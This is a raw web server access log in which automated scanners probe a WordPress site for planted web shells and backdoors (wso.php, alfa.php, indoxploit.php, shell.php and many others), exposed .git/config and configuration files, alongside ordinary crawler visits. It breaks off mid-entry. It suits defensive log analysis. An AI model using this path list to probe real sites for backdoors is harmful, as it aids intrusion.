[19/Apr/2025:12:17:07 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:13 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:18 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:22 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:26 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:26 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:29 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:14:33 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:30 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:35 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:38 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:41 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:44 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:47 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:49 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:52 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:55 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:57 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:17:58 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:00 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:03 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:05 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:08 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:10 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:12 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:15 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:18 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:18:20 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 114.119.138.67 - - [19/Apr/2025:12:27:50 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 89.187.168.45 - - [19/Apr/2025:13:00:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 43.159.144.16 - - [19/Apr/2025:13:38:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.210.31.18 - - [19/Apr/2025:14:04:26 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 134.17.14.122 - - [19/Apr/2025:14:19:37 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 90.168.61.244 - - [19/Apr/2025:14:35:26 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 35.162.180.170 - - [19/Apr/2025:14:54:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 37.19.223.99 - - [19/Apr/2025:14:55:54 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 89.248.163.4 - - [19/Apr/2025:15:09:47 -0400] "GET /.git/config HTTP/1.1" 403 1242 "-" "python-requests/2.27.1" 95.216.187.215 - - [19/Apr/2025:15:27:59 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 52.168.148.175 - - [19/Apr/2025:15:34:13 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:14 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:15 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:16 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:16 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:17 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:17 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:17 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:18 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:18 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:18 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:19 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:19 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:20 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:20 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:20 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:21 -0400] "GET /xcc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:21 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:21 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:22 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:23 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:23 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:23 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:24 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:26 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:26 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:26 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:26 -0400] "GET /.tmb/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:27 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:27 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:28 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:28 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:29 -0400] "GET /wp-includes/style-engine/gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:29 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:30 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:30 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:30 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:31 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:31 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:31 -0400] "GET /wp-content/uploads/2023/10/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:32 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:33 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:33 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:34 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:35 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:35 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:36 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:36 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:36 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:37 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:37 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:37 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:38 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:38 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:38 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:39 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:39 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:39 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:40 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:40 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:40 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:41 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:41 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:42 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:42 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:42 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:43 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:43 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:43 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:43 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:44 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:44 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:44 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:45 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:45 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:46 -0400] "GET /.well-known/acme-challenge/new.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:46 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:46 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:47 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:47 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:47 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:48 -0400] "GET /wp-includes/blocks/heading/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:48 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:49 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:49 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:49 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:50 -0400] "GET /wp-content/bk.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:50 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:50 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [19/Apr/2025:15:34:50 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 66.249.79.99 - - [19/Apr/2025:15:38:34 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.99 - - [19/Apr/2025:15:38:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 117.62.235.53 - - [19/Apr/2025:15:44:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.167.144.59 - - [19/Apr/2025:15:50:07 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.216 - - [19/Apr/2025:15:50:20 -0400] "GET /logo-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 18.236.92.237 - - [19/Apr/2025:15:53:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.0 Safari/537.36 Some Company. inc admin.contact@gmail.com" 80.85.245.145 - - [19/Apr/2025:16:21:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 136.243.228.180 - - [19/Apr/2025:16:38:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot)" 164.90.188.101 - - [19/Apr/2025:16:54:28 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 197.147.237.82 - - [19/Apr/2025:17:15:38 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:41 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:43 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:45 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:47 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:49 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:51 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:54 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:56 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:15:58 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:00 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:02 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:05 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:11 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:14 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:16 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:19 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:21 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:24 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.237.82 - - [19/Apr/2025:17:16:27 -0400] "GET 